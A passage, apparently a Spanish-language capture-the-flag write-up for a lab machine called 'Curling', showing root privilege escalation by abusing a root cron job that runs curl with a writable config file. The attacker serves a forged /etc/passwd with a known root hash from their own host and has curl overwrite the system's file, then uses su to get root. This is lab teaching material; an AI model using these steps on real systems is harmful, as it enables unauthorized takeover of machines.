2022/03/18 21:49:01 CMD: UID=0 PID=4441 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
^CExiting program... (interrupt)
floris@curling:/dev/shm$
Vemos que el usuario root (UID=0) está ejecutando el comando /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
. Tenemos que los archivos input
y report
el grupo asignado es floris y que tenemos permisos de escritura.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
floris@curling:~$ ls -l
total 12
drwxr-x--- 2 root floris 4096 May 22 2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup
-rw-r----- 1 floris floris 33 May 22 2018 user.txt
floris@curling:~$ cd admin-area/
floris@curling:~/admin-area$ ls -l
total 20
-rw-rw---- 1 root floris 25 Mar 18 22:00 input
-rw-rw---- 1 root floris 14236 Mar 18 22:00 report
floris@curling:~/admin-area$
floris@curling:~/admin-area$ cat input
url = "http://127.0.0.1"
floris@curling:~/admin-area$
Si leemos el manual de curl
y buscamos por el parámetro -K
, tenemos lo siguiente:
1
2
3
4
5
# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
Nos indica que podemos definiar una ruta donde se guarda la consulta realizada con output
y pensando que se da prioridad a este parámetro en lugar de -o
; podriamos tratar de coger el /etc/passwd
, guardarlo en nuestra máquina y cambiar la contraseña de root para que posteriormente modificar el archivo input
por nuestra dirección IP e indicarle que el resultado lo guarde en /etc/passwd
.
Primero generamos una cadena de texto con openssl
(para este caso la contraseña es hola):
1
2
3
4
❯ openssl passwd
Password:
Verifying - Password:
IB.plMO8N/x/E
Despúes nos copiamos el /etc/passwd
de la máquina víctima y cambiamos el valor de x de root con nuestra cadena:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
❯ cat passwd
───────┬────────────────────────────────────────────────────────────────────────────────────────────────
│ File: passwd
│ Size: 1.6 KB
───────┼────────────────────────────────────────────────────────────────────────────────────────────────
1 │ root:IB.plMO8N/x/E:0:0:root:/root:/bin/bash
2 │ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 │ bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 │ sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 │ sync:x:4:65534:sync:/bin:/bin/sync
6 │ games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 │ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 │ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 │ mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 │ news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 │ uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 │ proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 │ www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 │ backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 │ list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 │ irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 │ gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 │ nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 │ systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
20 │ systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
21 │ syslog:x:102:106::/home/syslog:/usr/sbin/nologin
22 │ messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
23 │ _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
24 │ lxd:x:105:65534::/var/lib/lxd/:/bin/false
25 │ uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
26 │ dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
27 │ landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
28 │ pollinate:x:109:1::/var/cache/pollinate:/bin/false
29 │ sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
30 │ floris:x:1000:1004:floris:/home/floris:/bin/bash
31 │ mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
───────┴────────────────────────────────────────────────────────────────────────────────────────────────
Ahora compartimos un servidor HTTP con python y modificamos el valor del archivo input
:
1
2
3
4
5
floris@curling:~/admin-area$ cat input
url = "http://10.10.14.27/passwd"
output = "/etc/passwd"
floris@curling:~/admin-area$
Esperamos a que se ejecute la tarea:
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.150 - - [18/Mar/2022 16:07:03] "GET /passwd HTTP/1.1" 200 -
Vemos que ya se realizó la solicitud, vamos a comprobar observando el /etc/passwd
de la máquina víctima.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
floris@curling:~/admin-area$ cat /etc/passwd
root:IB.plMO8N/x/E:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
floris:x:1000:1004:floris:/home/floris:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
floris@curling:~/admin-area$
Ahora ya podemos migrar al usuario root con la contraseña que definimos, en este caso hola:
1
2
3
4
5
floris@curling:~/admin-area$ su root
Password:
root@curling:/home/floris/admin-area# whoami
root
root@curling:/home/floris/admin-area#
Ya somos el usuario root y podemos visualizar la flag (root.txt).